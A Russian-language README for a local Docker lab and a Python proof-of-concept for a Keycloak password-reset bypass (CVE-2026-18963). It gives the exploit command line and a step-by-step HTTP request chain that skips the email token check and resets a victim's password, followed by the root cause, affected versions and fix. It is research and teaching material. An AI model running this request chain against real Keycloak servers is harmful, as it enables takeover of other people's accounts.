
Лаборатория на базе Docker и эксплойт на Python для CVE-2026-18963 — обход процедуры сброса учётных данных в Keycloak, позволяющий захватить аккаунт через обход проверки электронной почты.
Лаборатория моделирует уязвимость CVE-2026-18963 (CVSS 9.1) в Keycloak, позволяющую злоумышленнику захватить любую учётную запись через обход проверки электронной почты в потоке сброса пароля.
Только для целей исследования безопасности и обучения.
docker-compose up -d
Дождитесь запуска Keycloak (~30-60 секунд).
pip install -r requirements.txt
python setup-lab.py
Скрипт создаст:
vuln-lab с включённым reset-passwordvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Опции:
-u / --url: URL Keycloak (по умолчанию: http://127.0.0.1:8080)-r / --realm: Имя realm (по умолчанию: vuln-lab)-t / --target: Имя целевого пользователя (по умолчанию: victim)-p / --password: Новый пароль (по умолчанию: Pwned123!)-v / --verbose: Включить отладочный выводMailHog UI: http://127.0.0.1:8025 — просмотр email сброса пароля, отправленных в процессе эксплойта.
docker-compose down -v
Две ошибки в Keycloak в совокупности образуют цепочку атаки:
Ошибка 1 — Повреждение состояния селектора (DefaultAuthenticationFlow.java):
Когда пользователь нажимает "Try Another Way", auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
сохраняется как "true" (строковое булево значение) вместо ID модели выполнения. Значение
"true" не привязано ни к какому конкретному выполнению, поэтому оно сохраняется
на протяжении всех шагов потока, из-за чего селектор отображается в неверном контексте.
Ошибка 2 — Безусловный успех действия (ResetCredentialEmail.java):
Метод action() в ResetCredentialEmail вызывает context.success() безусловно,
не проверяя action token. Обычно action() вызывается только когда пользователь
нажимает ссылку в email (с action token). Но когда селектор повреждён, атакующий
может вызвать action() напрямую через обработку потока.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Инициализация auth-сессии
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Переход к потоку сброса
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Повреждение состояния селектора
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Отправка username через селектор
│<── "Check your email" page ────────│ Email отправлен, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Повторный вход в поток сброса
│<── Corrupted selector (!!!) ───────│ processFlow() видит SELECTOR="true"
│ │ → отображает селектор для шага email
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: вызов action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() не находит
│ │ authenticationExecution в форме
│─── GET /required-action ──────────>│ → попадает в ветку action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (безусловно!)
│ │ → поток переходит к ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Установка нового пароля
│<── 302 → /account/ ──────────────│ Захват учётной записи завершён
│ │
└── Вход с новым паролем ────────────┘
В DefaultAuthenticationFlow.processAction() при получении POST:
tryAnotherWay в форме → НЕТ (форма пуста)authenticationExecution в форме → НЕТ (форма пуста)authenticator.action(result) для модели из URLПоскольку URL содержит execution=<email_exec_id> (из action формы селектора),
вызывается ResetCredentialEmail.action() → возвращает context.success() →
поток переходит к ResetPassword → отображается форма установки пароля.
| Продукт | Уязвим | Исправлено |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() проверяет selector.equals(lastExecutionId) вместо Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() проверяет ACTION_TOKEN_USER_ID перед вызовом context.success()context.failure(INVALID_USER)